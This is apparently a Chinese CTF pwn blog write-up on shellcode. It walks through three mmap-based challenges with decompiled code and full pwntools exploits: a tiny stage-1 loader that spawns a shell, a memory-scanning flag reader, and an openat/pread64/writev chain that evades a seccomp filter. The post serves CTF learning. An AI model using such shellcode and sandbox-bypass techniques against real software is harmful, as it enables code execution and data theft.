今天来分享一下关于shellcode编写技术的一些题目,在此之前,需要你对x86-64的汇编指令,寄存器调用约定,栈有一定了解
先来讲比较简单的ret2shellcode技术
前提条件是NX保护没开,即栈可执行
因此可以直接使用pwntools的一个非常强大的集成功能
1 2 from pwn import * shellcode = asm(shellcraft.sh())
通常payload是:
1 payload = shellcode + 偏移 + addr_to_shellcode(返回地址)
此时shellcode在栈上,你可能需要先泄露栈地址,当然在本地可以用gdb一眼看出
当然在这方面还有ret2reg,NOP sled等技术,就不展开了(´・ω・`),感兴趣可以自行查阅资料
下面分享一些我遇到的与shellcode编写相关的题目
这些题目普遍与mmap(Memory Map)相关,其是Unix/Linux提供的一种将文件或设备映射到进程虚拟内存空间的机制,使得文件内容可以像操作普通内存一样被访问
先来看第一题
1 2 3 4 5 6 7 8 9 10 11 undefined8 main (EVP_PKEY_CTX *param_1) { code *__buf; init(param_1); __buf = (code *)mmap((void *)0x114514 ,0x1000 ,7 ,0x22 ,-1 ,0 ); puts ("please input a small function (also after compile)" ); read(0 ,__buf,0x14 ); clear(); (*__buf)(); return 0 ; }
mmap((void *)0x114514,0x1000,7,0x22,-1,0)怎么理解呢,0x114514代表指定映射的期望地址,但也不一定必须是这儿(xswl),0x1000代表长度,这里是映射一页(4KB),7代表权限为RWX,可读可写可执行,这是关键,后面则表示这是一个纯内存页,不关联任何文件
所以这道题便很好理解了,直接把编写好的shellcode写入buf即可,接下来程序便会直接将其当作函数指针调用,并执行你的shellcode
但是关键点在于buf的长度只有0x14(20),所以我们手动放大一下
首先关于read(0,buf,0x14)的寄存器调用约定,rax存放read的系统调用号0,rdi为第一个调用的寄存器,是fd(0,stdin),rsi第二个,为buf的起始地址,rdx是读取的大小,最后执行syscall,就相当于执行了这么一个读取的指令
要扩大读取范围,我们将rdx修改为0xff(应该够了,注意限制,尽量少用一点字节数),把rsi设置为当前的rip后0x20(大于0x14即可,同样限制一下字节数)的地址,调用syscall,写入shellcode,最后跳转rsi执行即可
我的exp,只用了13字节便成功改写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *import time context.arch = 'amd64' context.log_level = 'debug' p = remote('host' ,port) p.recvuntil(b"compile)\n" ) stage1 = ( b"\x48\x8d\x35\x20\x00\x00\x00" b"\xb2\xff" b"\x0f\x05" b"\xff\xe6" ) p.send(stage1) time.sleep(0.05 ) stage2 = asm(shellcraft.sh()) p.send(stage2.ljust(0xff , b"\x90" )) p.interactive()
拿下!
接下来看第二题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 void main (EVP_PKEY_CTX *param_1) { int iVar1; char *__s; size_t sVar2; size_t __n; long lVar3; undefined8 *puVar4; long in_FS_OFFSET; byte bVar5; undefined8 local_218; undefined8 local_210; undefined8 local_208 [63 ]; undefined8 local_10; bVar5 = 0 ; local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28 ); # canary init(param_1); #初始化函数 local_218 = 0 ; local_210 = 0 ; puVar4 = local_208; for (lVar3 = 0x3e ; lVar3 != 0 ; lVar3 = lVar3 + -1 ) { *puVar4 = 0 ; puVar4 = puVar4 + (ulong)bVar5 * -2 + 1 ; } *(undefined1 *)puVar4 = 0 ; __s = (char *)read_flag("/flag" ); #关键 sVar2 = strlen (__s); __s[sVar2] = 'H' ; __s[sVar2 + 1 ] = '1' ; __s[sVar2 + 2 ] = -0x40 ; #xor rax,rax puts ("I forgot the flag." ); puts ("Can you find it?" ); printf (" > " ); __n = read(0 ,&local_218,0x200 ); if (__n == 0 ) { perror("read" ); exit (1 ); } memcpy (__s + sVar2 + 3 ,&local_218,__n); iVar1 = mprotect(__s,0x1000 ,5 ); #可执行 if (iVar1 == -1 ) { perror("mprotect" ); exit (1 ); } install_seccomp(); (*(code *)(__s + sVar2))(0 ,0 ,0 ,0 ,0 ,0 ); #执行 return ; }
read_flag函数为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 void * read_flag (char *param_1) { int __fd; void *pvVar1; __fd = open(param_1,0 ); if (__fd < 0 ) { perror("Can\'t open flag file: " ); exit (1 ); } pvVar1 = mmap((void *)0x0 ,0x1000 ,3 ,2 ,__fd,0 ); if (pvVar1 == (void *)0xffffffffffffffff ) { perror("mmap" ); exit (1 ); } close(__fd); return pvVar1; }
题目逻辑非常清晰,也很贴心,程序先把flag文件的内容直接读到内存里,然后在flag结尾拼接你输入的数据(我们写的shellcode),再把这整块内存改成RX(可执行),最后从flag末尾开始当函数执行你的shellcode,所以解法也是很简单,直接在mmap空间搜索flag{}字符串即可
这里涉及到如何编写汇编
我先直接放一下我写的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import * context.arch = 'amd64' context.os = 'linux' io = remote('host' ,port) shellcode = asm(r''' lea rbx, [rip] #加载地址 find_flag: dec rbx # rbx=rbx-1 循环 cmp dword ptr [rbx], 0x67616c66 # flag字符串 jne find_flag #条件跳转,不是flag继续往前找,注意byte dword qword区别 cmp byte ptr [rbx+4], 0x7b #{ 二次验证 jne find_flag mov rsi, rbx #到这里已经找到了,先将rsi设置为flag的起始地址 xor rdx, rdx #len先设置为0,读取flag直到} len_scan: cmp byte ptr [rsi + rdx], 0x7d #} je write_flag inc rdx #rdx=rdx+1 jmp len_scan write_flag: inc rdx #加上} mov rdi, 1 #stdout mov rax, 1 #write系统调用号 syscall mov rax, 60 #exit xor rdi, rdi #rdi=0 syscall #安全退出程序 ''' ) io.recvuntil(b'> ' ) io.send(shellcode) io.interactive()
直接看注释吧,应该蛮好理解的…
接下来看第三题
1 2 3 4 5 6 7 8 9 10 11 12 undefined8 main (EVP_PKEY_CTX *param_1) { code *__buf; init(param_1); __buf = (code *)mmap((void *)0x114514 ,0x1000 ,7 ,0x22 ,-1 ,0 ); puts ("please input a orw_plus function (also also after compile)" ); read(0 ,__buf,0x500 ); install_seccomp(); (*__buf)(); return 0 ; }
题目逻辑和第一题一模一样,不同之处在于开启了seccomp,发现其禁用了execve,open,read,write,sendfile,没招了吗,不,其实还有很多的类似功能的orw供聪明的我们使用,这里我用的是openat,pread64和writev
直接看exp吧…
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from pwn import * context(arch='amd64' , os='linux' , log_level='debug' ) p = remote('host' ,port) shellcode = asm(''' mov rdi, -100 # openat(-100,flag,0,0) 系统调用号 257 在栈上动态构造shellcode 寄存器rdi rsi rdx r10 r8 r9 ... push 0x67616c66 # flag mov rsi, rsp xor rdx, rdx xor r10, r10 push 257 pop rax syscall push rax # pread64(fd,buf,0x100,0) 系统调用号 17 将rax传给rdi作为fd pop rdi sub rsp, 0x100 #分配足够的栈空间来读取flag push rsp pop rsi push 0x100 pop rdx xor r10, r10 push 17 pop rax syscall push 1 # writev(1,struct iovec,1) 系统调用号 20 struct iovec len + base* pop rdi mov rsi, rsp push 0x100 push rsi mov rsi, rsp push 1 pop rdx push 20 pop rax syscall nop nop nop ''' ) p.recvuntil(b')' ) p.send(shellcode) p.interactive()
这里解释一下iovec结构体(分散-聚集I/O)
1 2 3 4 5 6 #include <sys/uio.h> struct iovec { void *iov_base; size_t iov_len; };
1 2 3 4 mov rsi, rsp push 0x100 push rsi mov rsi, rsp
这里把rsp保存至rsi,先push 0x100(len)至栈上,再push rsi(flag起始地址)至栈上,这便形成了一个struct iovec,再把rsp(iov_base指针)传给rdi即可
同时,总结一下栈结构
高地址
argc argv[] envp[] auxv[] … 返回地址 saved rbp canary maybe 局部变量 … rsp 低地址
LIFO,push压栈rsp -= 8,pop出栈rsp += 8…
感谢阅读…
后面再补充吧…
2026.2.11吐槽:
被lactf的shellcode打败了…
不过
慢慢来吧…